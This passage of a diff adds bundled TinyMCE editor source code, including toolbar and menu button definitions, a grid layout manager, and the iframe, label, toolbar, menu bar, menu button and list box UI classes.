+						if (this.settings.cmd) {
+							editor.execCommand(this.settings.cmd);
+						}
+					}
+				}
+			};
+		}
+
+		formatMenu = createFormatMenu();
+
+		// Simple format controls <control/format>:<UI text>
+		each({
+			bold: 'Bold',
+			italic: 'Italic',
+			underline: 'Underline',
+			strikethrough: 'Strikethrough',
+			subscript: 'Subscript',
+			superscript: 'Superscript'
+		}, function(text, name) {
+			editor.addButton(name, {
+				tooltip: text,
+				onPostRender: function() {
+					var self = this;
+
+					// TODO: Fix this
+					if (editor.formatter) {
+						editor.formatter.formatChanged(name, function(state) {
+							self.active(state);
+						});
+					} else {
+						editor.on('init', function() {
+							editor.formatter.formatChanged(name, function(state) {
+								self.active(state);
+							});
+						});
+					}
+				},
+				onclick: function() {
+					toggleFormat(name);
+				}
+			});
+		});
+
+		// Simple command controls <control>:[<UI text>,<Command>]
+		each({
+			outdent: ['Decrease indent', 'Outdent'],
+			indent: ['Increase indent', 'Indent'],
+			cut: ['Cut', 'Cut'],
+			copy: ['Copy', 'Copy'],
+			paste: ['Paste', 'Paste'],
+			help: ['Help', 'mceHelp'],
+			selectall: ['Select all', 'SelectAll'],
+			removeformat: ['Clear formatting', 'RemoveFormat'],
+			visualaid: ['Visual aids', 'mceToggleVisualAid'],
+			newdocument: ['New document', 'mceNewDocument']
+		}, function(item, name) {
+			editor.addButton(name, {
+				tooltip: item[0],
+				cmd: item[1]
+			});
+		});
+
+		// Simple command controls with format state
+		each({
+			blockquote: ['Blockquote', 'mceBlockQuote'],
+			numlist: ['Numbered list', 'InsertOrderedList'],
+			bullist: ['Bullet list', 'InsertUnorderedList'],
+			subscript: ['Subscript', 'Subscript'],
+			superscript: ['Superscript', 'Superscript'],
+			alignleft: ['Align left', 'JustifyLeft'],
+			aligncenter: ['Align center', 'JustifyCenter'],
+			alignright: ['Align right', 'JustifyRight'],
+			alignjustify: ['Justify', 'JustifyFull']
+		}, function(item, name) {
+			editor.addButton(name, {
+				tooltip: item[0],
+				cmd: item[1],
+				onPostRender: function() {
+					var self = this;
+
+					// TODO: Fix this
+					if (editor.formatter) {
+						editor.formatter.formatChanged(name, function(state) {
+							self.active(state);
+						});
+					} else {
+						editor.on('init', function() {
+							editor.formatter.formatChanged(name, function(state) {
+								self.active(state);
+							});
+						});
+					}
+				}
+			});
+		});
+
+		function toggleUndoRedoState(type) {
+			return function() {
+				var self = this;
+
+				type = type == 'redo' ? 'hasRedo' : 'hasUndo';
+
+				function checkState() {
+					return editor.undoManager ? editor.undoManager[type]() : false;
+				}
+
+				self.disabled(!checkState());
+				editor.on('Undo Redo AddUndo TypingUndo ClearUndos', function() {
+					self.disabled(!checkState());
+				});
+			};
+		}
+
+		function toggleVisualAidState() {
+			var self = this;
+
+			editor.on('VisualAid', function(e) {
+				self.active(e.hasVisual);
+			});
+
+			self.active(editor.hasVisual);
+		}
+
+		editor.addButton('undo', {
+			tooltip: 'Undo',
+			onPostRender: toggleUndoRedoState('undo'),
+			cmd: 'undo'
+		});
+
+		editor.addButton('redo', {
+			tooltip: 'Redo',
+			onPostRender: toggleUndoRedoState('redo'),
+			cmd: 'redo'
+		});
+
+		editor.addMenuItem('newdocument', {
+			text: 'New document',
+			shortcut: 'Ctrl+N',
+			icon: 'newdocument',
+			cmd: 'mceNewDocument'
+		});
+
+		editor.addMenuItem('undo', {
+			text: 'Undo',
+			icon: 'undo',
+			shortcut: 'Ctrl+Z',
+			onPostRender: toggleUndoRedoState('undo'),
+			cmd: 'undo'
+		});
+
+		editor.addMenuItem('redo', {
+			text: 'Redo',
+			icon: 'redo',
+			shortcut: 'Ctrl+Y',
+			onPostRender: toggleUndoRedoState('redo'),
+			cmd: 'redo'
+		});
+
+		editor.addMenuItem('visualaid', {
+			text: 'Visual aids',
+			selectable: true,
+			onPostRender: toggleVisualAidState,
+			cmd: 'mceToggleVisualAid'
+		});
+
+		each({
+			cut: ['Cut', 'Cut', 'Ctrl+X'],
+			copy: ['Copy', 'Copy', 'Ctrl+C'],
+			paste: ['Paste', 'Paste', 'Ctrl+V'],
+			selectall: ['Select all', 'SelectAll', 'Ctrl+A'],
+			bold: ['Bold', 'Bold', 'Ctrl+B'],
+			italic: ['Italic', 'Italic', 'Ctrl+I'],
+			underline: ['Underline', 'Underline'],
+			strikethrough: ['Strikethrough', 'Strikethrough'],
+			subscript: ['Subscript', 'Subscript'],
+			superscript: ['Superscript', 'Superscript'],
+			removeformat: ['Clear formatting', 'RemoveFormat']
+		}, function(item, name) {
+			editor.addMenuItem(name, {
+				text: item[0],
+				icon: name,
+				shortcut: item[2],
+				cmd: item[1]
+			});
+		});
+
+		editor.on('mousedown', function() {
+			FloatPanel.hideAll();
+		});
+
+		function toggleFormat(fmt) {
+			if (fmt.control) {
+				fmt = fmt.control.value();
+			}
+
+			if (fmt) {
+				editor.execCommand('mceToggleFormat', false, fmt);
+			}
+		}
+
+		editor.addButton('styleselect', {
+			type: 'menubutton',
+			text: 'Formats',
+			menu: formatMenu
+		});
+
+		editor.addButton('formatselect', function() {
+			var items = [], blocks = createFormats(editor.settings.block_formats ||
+				'Paragraph=p;' +
+				'Address=address;' +
+				'Pre=pre;' +
+				'Heading 1=h1;' +
+				'Heading 2=h2;' +
+				'Heading 3=h3;' +
+				'Heading 4=h4;' +
+				'Heading 5=h5;' +
+				'Heading 6=h6'
+			);
+
+			each(blocks, function(block) {
+				items.push({
+					text: block[0],
+					value: block[1],
+					textStyle: function() {
+						return editor.formatter.getCssText(block[1]);
+					}
+				});
+			});
+
+			return {
+				type: 'listbox',
+				text: blocks[0][0],
+				values: items,
+				fixedWidth: true,
+				onselect: toggleFormat,
+				onPostRender: createListBoxChangeHandler(items)
+			};
+		});
+
+		editor.addButton('fontselect', function() {
+			var defaultFontsFormats =
+				'Andale Mono=andale mono,times;' +
+				'Arial=arial,helvetica,sans-serif;' +
+				'Arial Black=arial black,avant garde;' +
+				'Book Antiqua=book antiqua,palatino;' +
+				'Comic Sans MS=comic sans ms,sans-serif;' +
+				'Courier New=courier new,courier;' +
+				'Georgia=georgia,palatino;' +
+				'Helvetica=helvetica;' +
+				'Impact=impact,chicago;' +
+				'Symbol=symbol;' +
+				'Tahoma=tahoma,arial,helvetica,sans-serif;' +
+				'Terminal=terminal,monaco;' +
+				'Times New Roman=times new roman,times;' +
+				'Trebuchet MS=trebuchet ms,geneva;' +
+				'Verdana=verdana,geneva;' +
+				'Webdings=webdings;' +
+				'Wingdings=wingdings,zapf dingbats';
+
+			var items = [], fonts = createFormats(editor.settings.font_formats || defaultFontsFormats);
+
+			each(fonts, function(font) {
+				items.push({
+					text: {raw: font[0]},
+					value: font[1],
+					textStyle: font[1].indexOf('dings') == -1 ? 'font-family:' + font[1] : ''
+				});
+			});
+
+			return {
+				type: 'listbox',
+				text: 'Font Family',
+				tooltip: 'Font Family',
+				values: items,
+				fixedWidth: true,
+				onPostRender: createListBoxChangeHandler(items, 'fontname'),
+				onselect: function(e) {
+					if (e.control.settings.value) {
+						editor.execCommand('FontName', false, e.control.settings.value);
+					}
+				}
+			};
+		});
+
+		editor.addButton('fontsizeselect', function() {
+			var items = [], defaultFontsizeFormats = '8pt 10pt 12pt 14pt 18pt 24pt 36pt';
+			var fontsize_formats = editor.settings.fontsize_formats || defaultFontsizeFormats;
+
+			each(fontsize_formats.split(' '), function(item) {
+				var text = item, value = item;
+				// Allow text=value font sizes.
+				var values = item.split('=');
+				if (values.length > 1) {
+					text = values[0];
+					value = values[1];
+				}
+				items.push({text: text, value: value});
+			});
+
+			return {
+				type: 'listbox',
+				text: 'Font Sizes',
+				tooltip: 'Font Sizes',
+				values: items,
+				fixedWidth: true,
+				onPostRender: createListBoxChangeHandler(items, 'fontsize'),
+				onclick: function(e) {
+					if (e.control.settings.value) {
+						editor.execCommand('FontSize', false, e.control.settings.value);
+					}
+				}
+			};
+		});
+
+		editor.addMenuItem('formats', {
+			text: 'Formats',
+			menu: formatMenu
+		});
+	}
+});
+
+// Included from: js/tinymce/classes/ui/GridLayout.js
+
+/**
+ * GridLayout.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This layout manager places controls in a grid.
+ *
+ * @setting {Number} spacing Spacing between controls.
+ * @setting {Number} spacingH Horizontal spacing between controls.
+ * @setting {Number} spacingV Vertical spacing between controls.
+ * @setting {Number} columns Number of columns to use.
+ * @setting {String/Array} alignH start|end|center|stretch or array of values for each column.
+ * @setting {String/Array} alignV start|end|center|stretch or array of values for each column.
+ * @setting {String} pack start|end
+ *
+ * @class tinymce.ui.GridLayout
+ * @extends tinymce.ui.AbsoluteLayout
+ */
+define("tinymce/ui/GridLayout", [
+	"tinymce/ui/AbsoluteLayout"
+], function(AbsoluteLayout) {
+	"use strict";
+
+	return AbsoluteLayout.extend({
+		/**
+		 * Recalculates the positions of the controls in the specified container.
+		 *
+		 * @method recalc
+		 * @param {tinymce.ui.Container} container Container instance to recalc.
+		 */
+		recalc: function(container) {
+			var settings = container.settings, rows, cols, items, contLayoutRect, width, height, rect,
+				ctrlLayoutRect, ctrl, x, y, posX, posY, ctrlSettings, contPaddingBox, align, spacingH, spacingV, alignH, alignV, maxX, maxY,
+				colWidths = [], rowHeights = [], ctrlMinWidth, ctrlMinHeight, availableWidth, availableHeight, reverseRows, idx;
+
+			// Get layout settings
+			settings = container.settings;
+			items = container.items().filter(':visible');
+			contLayoutRect = container.layoutRect();
+			cols = settings.columns || Math.ceil(Math.sqrt(items.length));
+			rows = Math.ceil(items.length / cols);
+			spacingH = settings.spacingH || settings.spacing || 0;
+			spacingV = settings.spacingV || settings.spacing || 0;
+			alignH = settings.alignH || settings.align;
+			alignV = settings.alignV || settings.align;
+			contPaddingBox = container._paddingBox;
+			reverseRows = 'reverseRows' in settings ? settings.reverseRows : container.isRtl();
+
+			if (alignH && typeof(alignH) == "string") {
+				alignH = [alignH];
+			}
+
+			if (alignV && typeof(alignV) == "string") {
+				alignV = [alignV];
+			}
+
+			// Zero padd columnWidths
+			for (x = 0; x < cols; x++) {
+				colWidths.push(0);
+			}
+
+			// Zero padd rowHeights
+			for (y = 0; y < rows; y++) {
+				rowHeights.push(0);
+			}
+
+			// Calculate columnWidths and rowHeights
+			for (y = 0; y < rows; y++) {
+				for (x = 0; x < cols; x++) {
+					ctrl = items[y * cols + x];
+
+					// Out of bounds
+					if (!ctrl) {
+						break;
+					}
+
+					ctrlLayoutRect = ctrl.layoutRect();
+					ctrlMinWidth = ctrlLayoutRect.minW;
+					ctrlMinHeight = ctrlLayoutRect.minH;
+
+					colWidths[x] = ctrlMinWidth > colWidths[x] ? ctrlMinWidth : colWidths[x];
+					rowHeights[y] = ctrlMinHeight > rowHeights[y] ? ctrlMinHeight : rowHeights[y];
+				}
+			}
+
+			// Calculate maxX
+			availableWidth = contLayoutRect.innerW - contPaddingBox.left - contPaddingBox.right;
+			for (maxX = 0, x = 0; x < cols; x++) {
+				maxX += colWidths[x] + (x > 0 ? spacingH : 0);
+				availableWidth -= (x > 0 ? spacingH : 0) + colWidths[x];
+			}
+
+			// Calculate maxY
+			availableHeight = contLayoutRect.innerH - contPaddingBox.top - contPaddingBox.bottom;
+			for (maxY = 0, y = 0; y < rows; y++) {
+				maxY += rowHeights[y] + (y > 0 ? spacingV : 0);
+				availableHeight -= (y > 0 ? spacingV : 0) + rowHeights[y];
+			}
+
+			maxX += contPaddingBox.left + contPaddingBox.right;
+			maxY += contPaddingBox.top + contPaddingBox.bottom;
+
+			// Calculate minW/minH
+			rect = {};
+			rect.minW = maxX + (contLayoutRect.w - contLayoutRect.innerW);
+			rect.minH = maxY + (contLayoutRect.h - contLayoutRect.innerH);
+
+			rect.contentW = rect.minW - contLayoutRect.deltaW;
+			rect.contentH = rect.minH - contLayoutRect.deltaH;
+			rect.minW = Math.min(rect.minW, contLayoutRect.maxW);
+			rect.minH = Math.min(rect.minH, contLayoutRect.maxH);
+			rect.minW = Math.max(rect.minW, contLayoutRect.startMinWidth);
+			rect.minH = Math.max(rect.minH, contLayoutRect.startMinHeight);
+
+			// Resize container container if minSize was changed
+			if (contLayoutRect.autoResize && (rect.minW != contLayoutRect.minW || rect.minH != contLayoutRect.minH)) {
+				rect.w = rect.minW;
+				rect.h = rect.minH;
+
+				container.layoutRect(rect);
+				this.recalc(container);
+
+				// Forced recalc for example if items are hidden/shown
+				if (container._lastRect === null) {
+					var parentCtrl = container.parent();
+					if (parentCtrl) {
+						parentCtrl._lastRect = null;
+						parentCtrl.recalc();
+					}
+				}
+
+				return;
+			}
+
+			// Update contentW/contentH so absEnd moves correctly
+			if (contLayoutRect.autoResize) {
+				rect = container.layoutRect(rect);
+				rect.contentW = rect.minW - contLayoutRect.deltaW;
+				rect.contentH = rect.minH - contLayoutRect.deltaH;
+			}
+
+			var flexV;
+
+			if (settings.packV == 'start') {
+				flexV = 0;
+			} else {
+				flexV = availableHeight > 0 ? Math.floor(availableHeight / rows) : 0;
+			}
+
+			// Calculate totalFlex
+			var totalFlex = 0;
+			var flexWidths = settings.flexWidths;
+			if (flexWidths) {
+				for (x = 0; x < flexWidths.length; x++) {
+					totalFlex += flexWidths[x];
+				}
+			} else {
+				totalFlex = cols;
+			}
+
+			// Calculate new column widths based on flex values
+			var ratio = availableWidth / totalFlex;
+			for (x = 0; x < cols; x++) {
+				colWidths[x] += flexWidths ? flexWidths[x] * ratio : ratio;
+			}
+
+			// Move/resize controls
+			posY = contPaddingBox.top;
+			for (y = 0; y < rows; y++) {
+				posX = contPaddingBox.left;
+				height = rowHeights[y] + flexV;
+
+				for (x = 0; x < cols; x++) {
+					if (reverseRows) {
+						idx = y * cols + cols - 1 - x;
+					} else {
+						idx = y * cols + x;
+					}
+
+					ctrl = items[idx];
+
+					// No more controls to render then break
+					if (!ctrl) {
+						break;
+					}
+
+					// Get control settings and calculate x, y
+					ctrlSettings = ctrl.settings;
+					ctrlLayoutRect = ctrl.layoutRect();
+					width = Math.max(colWidths[x], ctrlLayoutRect.startMinWidth);
+					ctrlLayoutRect.x = posX;
+					ctrlLayoutRect.y = posY;
+
+					// Align control horizontal
+					align = ctrlSettings.alignH || (alignH ? (alignH[x] || alignH[0]) : null);
+					if (align == "center") {
+						ctrlLayoutRect.x = posX + (width / 2) - (ctrlLayoutRect.w / 2);
+					} else if (align == "right") {
+						ctrlLayoutRect.x = posX + width - ctrlLayoutRect.w;
+					} else if (align == "stretch") {
+						ctrlLayoutRect.w = width;
+					}
+
+					// Align control vertical
+					align = ctrlSettings.alignV || (alignV ? (alignV[x] || alignV[0]) : null);
+					if (align == "center") {
+						ctrlLayoutRect.y = posY + (height / 2) - (ctrlLayoutRect.h / 2);
+					} else if (align == "bottom") {
+						ctrlLayoutRect.y = posY + height - ctrlLayoutRect.h;
+					} else if (align == "stretch") {
+						ctrlLayoutRect.h = height;
+					}
+
+					ctrl.layoutRect(ctrlLayoutRect);
+
+					posX += width + spacingH;
+
+					if (ctrl.recalc) {
+						ctrl.recalc();
+					}
+				}
+
+				posY += height + spacingV;
+			}
+		}
+	});
+});
+
+// Included from: js/tinymce/classes/ui/Iframe.js
+
+/**
+ * Iframe.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/*jshint scripturl:true */
+
+/**
+ * This class creates an iframe.
+ *
+ * @setting {String} url Url to open in the iframe.
+ *
+ * @-x-less Iframe.less
+ * @class tinymce.ui.Iframe
+ * @extends tinymce.ui.Widget
+ */
+define("tinymce/ui/Iframe", [
+	"tinymce/ui/Widget"
+], function(Widget) {
+	"use strict";
+
+	return Widget.extend({
+		/**
+		 * Renders the control as a HTML string.
+		 *
+		 * @method renderHtml
+		 * @return {String} HTML representing the control.
+		 */
+		renderHtml: function() {
+			var self = this;
+
+			self.addClass('iframe');
+			self.canFocus = false;
+
+			/*eslint no-script-url:0 */
+			return (
+				'<iframe id="' + self._id + '" class="' + self.classes() + '" tabindex="-1" src="' +
+				(self.settings.url || "javascript:\'\'") + '" frameborder="0"></iframe>'
+			);
+		},
+
+		/**
+		 * Setter for the iframe source.
+		 *
+		 * @method src
+		 * @param {String} src Source URL for iframe.
+		 */
+		src: function(src) {
+			this.getEl().src = src;
+		},
+
+		/**
+		 * Inner HTML for the iframe.
+		 *
+		 * @method html
+		 * @param {String} html HTML string to set as HTML inside the iframe.
+		 * @param {function} callback Optional callback to execute when the iframe body is filled with contents.
+		 * @return {tinymce.ui.Iframe} Current iframe control.
+		 */
+		html: function(html, callback) {
+			var self = this, body = this.getEl().contentWindow.document.body;
+
+			// Wait for iframe to initialize IE 10 takes time
+			if (!body) {
+				setTimeout(function() {
+					self.html(html);
+				}, 0);
+			} else {
+				body.innerHTML = html;
+
+				if (callback) {
+					callback();
+				}
+			}
+
+			return this;
+		}
+	});
+});
+
+// Included from: js/tinymce/classes/ui/Label.js
+
+/**
+ * Label.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This class creates a label element. A label is a simple text control
+ * that can be bound to other controls.
+ *
+ * @-x-less Label.less
+ * @class tinymce.ui.Label
+ * @extends tinymce.ui.Widget
+ */
+define("tinymce/ui/Label", [
+	"tinymce/ui/Widget",
+	"tinymce/ui/DomUtils"
+], function(Widget, DomUtils) {
+	"use strict";
+
+	return Widget.extend({
+		/**
+		 * Constructs a instance with the specified settings.
+		 *
+		 * @constructor
+		 * @param {Object} settings Name/value object with settings.
+		 * @param {Boolean} multiline Multiline label.
+		 */
+		init: function(settings) {
+			var self = this;
+
+			self._super(settings);
+			self.addClass('widget');
+			self.addClass('label');
+			self.canFocus = false;
+
+			if (settings.multiline) {
+				self.addClass('autoscroll');
+			}
+
+			if (settings.strong) {
+				self.addClass('strong');
+			}
+		},
+
+		/**
+		 * Initializes the current controls layout rect.
+		 * This will be executed by the layout managers to determine the
+		 * default minWidth/minHeight etc.
+		 *
+		 * @method initLayoutRect
+		 * @return {Object} Layout rect instance.
+		 */
+		initLayoutRect: function() {
+			var self = this, layoutRect = self._super();
+
+			if (self.settings.multiline) {
+				var size = DomUtils.getSize(self.getEl());
+
+				// Check if the text fits within maxW if not then try word wrapping it
+				if (size.width > layoutRect.maxW) {
+					layoutRect.minW = layoutRect.maxW;
+					self.addClass('multiline');
+				}
+
+				self.getEl().style.width = layoutRect.minW + 'px';
+				layoutRect.startMinH = layoutRect.h = layoutRect.minH = Math.min(layoutRect.maxH, DomUtils.getSize(self.getEl()).height);
+			}
+
+			return layoutRect;
+		},
+
+		/**
+		 * Repaints the control after a layout operation.
+		 *
+		 * @method repaint
+		 */
+		repaint: function() {
+			var self = this;
+
+			if (!self.settings.multiline) {
+				self.getEl().style.lineHeight = self.layoutRect().h + 'px';
+			}
+
+			return self._super();
+		},
+
+		/**
+		 * Sets/gets the current label text.
+		 *
+		 * @method text
+		 * @param {String} [text] New label text.
+		 * @return {String|tinymce.ui.Label} Current text or current label instance.
+		 */
+		text: function(text) {
+			var self = this;
+
+			if (self._rendered && text) {
+				this.innerHtml(self.encode(text));
+			}
+
+			return self._super(text);
+		},
+
+		/**
+		 * Renders the control as a HTML string.
+		 *
+		 * @method renderHtml
+		 * @return {String} HTML representing the control.
+		 */
+		renderHtml: function() {
+			var self = this, forId = self.settings.forId;
+
+			return (
+				'<label id="' + self._id + '" class="' + self.classes() + '"' + (forId ? ' for="' + forId + '"' : '') + '>' +
+					self.encode(self._text) +
+				'</label>'
+			);
+		}
+	});
+});
+
+// Included from: js/tinymce/classes/ui/Toolbar.js
+
+/**
+ * Toolbar.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * Creates a new toolbar.
+ *
+ * @class tinymce.ui.Toolbar
+ * @extends tinymce.ui.Container
+ */
+define("tinymce/ui/Toolbar", [
+	"tinymce/ui/Container"
+], function(Container) {
+	"use strict";
+
+	return Container.extend({
+		Defaults: {
+			role: 'toolbar',
+			layout: 'flow'
+		},
+
+		/**
+		 * Constructs a instance with the specified settings.
+		 *
+		 * @constructor
+		 * @param {Object} settings Name/value object with settings.
+		 */
+		init: function(settings) {
+			var self = this;
+
+			self._super(settings);
+			self.addClass('toolbar');
+		},
+
+		/**
+		 * Called after the control has been rendered.
+		 *
+		 * @method postRender
+		 */
+		postRender: function() {
+			var self = this;
+
+			self.items().addClass('toolbar-item');
+
+			return self._super();
+		}
+	});
+});
+
+// Included from: js/tinymce/classes/ui/MenuBar.js
+
+/**
+ * MenuBar.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * Creates a new menubar.
+ *
+ * @-x-less MenuBar.less
+ * @class tinymce.ui.MenuBar
+ * @extends tinymce.ui.Toolbar
+ */
+define("tinymce/ui/MenuBar", [
+	"tinymce/ui/Toolbar"
+], function(Toolbar) {
+	"use strict";
+
+	return Toolbar.extend({
+		Defaults: {
+			role: 'menubar',
+			containerCls: 'menubar',
+			ariaRoot: true,
+			defaults: {
+				type: 'menubutton'
+			}
+		}
+	});
+});
+
+// Included from: js/tinymce/classes/ui/MenuButton.js
+
+/**
+ * MenuButton.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * Creates a new menu button.
+ *
+ * @-x-less MenuButton.less
+ * @class tinymce.ui.MenuButton
+ * @extends tinymce.ui.Button
+ */
+define("tinymce/ui/MenuButton", [
+	"tinymce/ui/Button",
+	"tinymce/ui/Factory",
+	"tinymce/ui/MenuBar"
+], function(Button, Factory, MenuBar) {
+	"use strict";
+
+	// TODO: Maybe add as some global function
+	function isChildOf(node, parent) {
+		while (node) {
+			if (parent === node) {
+				return true;
+			}
+
+			node = node.parentNode;
+		}
+
+		return false;
+	}
+
+	var MenuButton = Button.extend({
+		/**
+		 * Constructs a instance with the specified settings.
+		 *
+		 * @constructor
+		 * @param {Object} settings Name/value object with settings.
+		 */
+		init: function(settings) {
+			var self = this;
+
+			self._renderOpen = true;
+			self._super(settings);
+
+			self.addClass('menubtn');
+
+			if (settings.fixedWidth) {
+				self.addClass('fixed-width');
+			}
+
+			self.aria('haspopup', true);
+			self.hasPopup = true;
+		},
+
+		/**
+		 * Shows the menu for the button.
+		 *
+		 * @method showMenu
+		 */
+		showMenu: function() {
+			var self = this, settings = self.settings, menu;
+
+			if (self.menu && self.menu.visible()) {
+				return self.hideMenu();
+			}
+
+			if (!self.menu) {
+				menu = settings.menu || [];
+
+				// Is menu array then auto constuct menu control
+				if (menu.length) {
+					menu = {
+						type: 'menu',
+						items: menu
+					};
+				} else {
+					menu.type = menu.type || 'menu';
+				}
+
+				self.menu = Factory.create(menu).parent(self).renderTo();
+				self.fire('createmenu');
+				self.menu.reflow();
+				self.menu.on('cancel', function(e) {
+					if (e.control.parent() === self.menu) {
+						e.stopPropagation();
+						self.focus();
+						self.hideMenu();
+					}
+				});
+
+				// Move focus to button when a menu item is selected/clicked
+				self.menu.on('select', function() {
+					self.focus();
+				});
+
+				self.menu.on('show hide', function(e) {
+					if (e.control == self.menu) {
+						self.activeMenu(e.type == 'show');
+					}
+
+					self.aria('expanded', e.type == 'show');
+				}).fire('show');
+			}
+
+			self.menu.show();
+			self.menu.layoutRect({w: self.layoutRect().w});
+			self.menu.moveRel(self.getEl(), self.isRtl() ? ['br-tr', 'tr-br'] : ['bl-tl', 'tl-bl']);
+		},
+
+		/**
+		 * Hides the menu for the button.
+		 *
+		 * @method hideMenu
+		 */
+		hideMenu: function() {
+			var self = this;
+
+			if (self.menu) {
+				self.menu.items().each(function(item) {
+					if (item.hideMenu) {
+						item.hideMenu();
+					}
+				});
+
+				self.menu.hide();
+			}
+		},
+
+		/**
+		 * Sets the active menu state.
+		 *
+		 * @private
+		 */
+		activeMenu: function(state) {
+			this.toggleClass('active', state);
+		},
+
+		/**
+		 * Renders the control as a HTML string.
+		 *
+		 * @method renderHtml
+		 * @return {String} HTML representing the control.
+		 */
+		renderHtml: function() {
+			var self = this, id = self._id, prefix = self.classPrefix;
+			var icon = self.settings.icon, image;
+
+			image = self.settings.image;
+			if (image) {
+				icon = 'none';
+
+				// Support for [high dpi, low dpi] image sources
+				if (typeof image != "string") {
+					image = window.getSelection ? image[0] : image[1];
+				}
+
+				image = ' style="background-image: url(\'' + image + '\')"';
+			} else {
+				image = '';
+			}
+
+			icon = self.settings.icon ? prefix + 'ico ' + prefix + 'i-' + icon : '';
+
+			self.aria('role', self.parent() instanceof MenuBar ? 'menuitem' : 'button');
+
+			return (
+				'<div id="' + id + '" class="' + self.classes() + '" tabindex="-1" aria-labelledby="' + id + '">' +
+					'<button id="' + id + '-open" role="presentation" type="button" tabindex="-1">' +
+						(icon ? '<i class="' + icon + '"' + image + '></i>' : '') +
+						'<span>' + (self._text ? (icon ? '\u00a0' : '') + self.encode(self._text) : '') + '</span>' +
+						' <i class="' + prefix + 'caret"></i>' +
+					'</button>' +
+				'</div>'
+			);
+		},
+
+		/**
+		 * Gets invoked after the control has been rendered.
+		 *
+		 * @method postRender
+		 */
+		postRender: function() {
+			var self = this;
+
+			self.on('click', function(e) {
+				if (e.control === self && isChildOf(e.target, self.getEl())) {
+					self.showMenu();
+
+					if (e.aria) {
+						self.menu.items()[0].focus();
+					}
+				}
+			});
+
+			self.on('mouseenter', function(e) {
+				var overCtrl = e.control, parent = self.parent(), hasVisibleSiblingMenu;
+
+				if (overCtrl && parent && overCtrl instanceof MenuButton && overCtrl.parent() == parent) {
+					parent.items().filter('MenuButton').each(function(ctrl) {
+						if (ctrl.hideMenu && ctrl != overCtrl) {
+							if (ctrl.menu && ctrl.menu.visible()) {
+								hasVisibleSiblingMenu = true;
+							}
+
+							ctrl.hideMenu();
+						}
+					});
+
+					if (hasVisibleSiblingMenu) {
+						overCtrl.focus(); // Fix for: #5887
+						overCtrl.showMenu();
+					}
+				}
+			});
+
+			return self._super();
+		},
+
+		/**
+		 * Sets/gets the current button text.
+		 *
+		 * @method text
+		 * @param {String} [text] New button text.
+		 * @return {String|tinymce.ui.MenuButton} Current text or current MenuButton instance.
+		 */
+		text: function(text) {
+			var self = this, i, children;
+
+			if (self._rendered) {
+				children = self.getEl('open').getElementsByTagName('span');
+				for (i = 0; i < children.length; i++) {
+					children[i].innerHTML = (self.settings.icon && text ? '\u00a0' : '') + self.encode(text);
+				}
+			}
+
+			return this._super(text);
+		},
+
+		/**
+		 * Removes the control and it's menus.
+		 *
+		 * @method remove
+		 */
+		remove: function() {
+			this._super();
+
+			if (this.menu) {
+				this.menu.remove();
+			}
+		}
+	});
+
+	return MenuButton;
+});
+
+// Included from: js/tinymce/classes/ui/ListBox.js
+
+/**
+ * ListBox.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * Creates a new list box control.
+ *
+ * @-x-less ListBox.less
+ * @class tinymce.ui.ListBox
+ * @extends tinymce.ui.MenuButton
+ */
+define("tinymce/ui/ListBox", [
+	"tinymce/ui/MenuButton"
+], function(MenuButton) {
+	"use strict";
+
+	return MenuButton.extend({
+		/**
+		 * Constructs a instance with the specified settings.
+		 *
+		 * @constructor
+		 * @param {Object} settings Name/value object with settings.
+		 * @setting {Array} values Array with values to add to list box.
+		 */
+		init: function(settings) {
+			var self = this, values, selected, selectedText, lastItemCtrl;
+
+			function setSelected(menuValues) {
+				// Try to find a selected value
+				for (var i = 0; i < menuValues.length; i++) {
+					selected = menuValues[i].selected || settings.value === menuValues[i].value;
+
+					if (selected) {
+						selectedText = selectedText || menuValues[i].text;
+						self._value = menuValues[i].value;
+						break;
+					}
+
+					// If the value has a submenu, try to find the selected values in that menu
+					if (menuValues[i].menu) {
+						setSelected(menuValues[i].menu);
+					}
+				}
+			}
+
+			self._values = values = settings.values;
+			if (values) {
+				if (typeof settings.value != "undefined") {
+					setSelected(values);
+				}
+
+				// Default with first item
+				if (!selected && values.length > 0) {
+					selectedText = values[0].text;
+					self._value = values[0].value;
+				}
+
+				settings.menu = values;
+			}
+
+			settings.text = settings.text || selectedText || values[0].text;
+
+			self._super(settings);
+			self.addClass('listbox');
+
+			self.on('select', function(e) {
+				var ctrl = e.control;
+
+				if (lastItemCtrl) {
+					e.lastControl = lastItemCtrl;
+				}
+
+				if (settings.multiple) {
+					ctrl.active(!ctrl.active());
+				} else {
+					self.value(e.control.settings.value);
+				}
+
+				lastItemCtrl = ctrl;
+			});
+		},
+
+		/**
+		 * Getter/setter function for the control value.
+		 *
+		 * @method value
+		 * @param {String} [value] Value to be set.
+		 * @return {Boolean/tinymce.ui.ListBox} Value or self if it's a set operation.
+		 */
+		value: function(value) {
+			var self = this, active, selectedText, menu;
+
+			function activateByValue(menu, value) {
+				menu.items().each(function(ctrl) {
+					active = ctrl.value() === value;
+
+					if (active) {
+						selectedText = selectedText || ctrl.text();
+					}
+
+					ctrl.active(active);
+
+					if (ctrl.menu) {
+						activateByValue(ctrl.menu, value);
+					}
+				});
+			}
+
+			function setActiveValues(menuValues) {
+				for (var i = 0; i < menuValues.length; i++) {
+					active = menuValues[i].value == value;
+
+					if (active) {
+						selectedText = selectedText || menuValues[i].text;
+					}
+
+					menuValues[i].active = active;
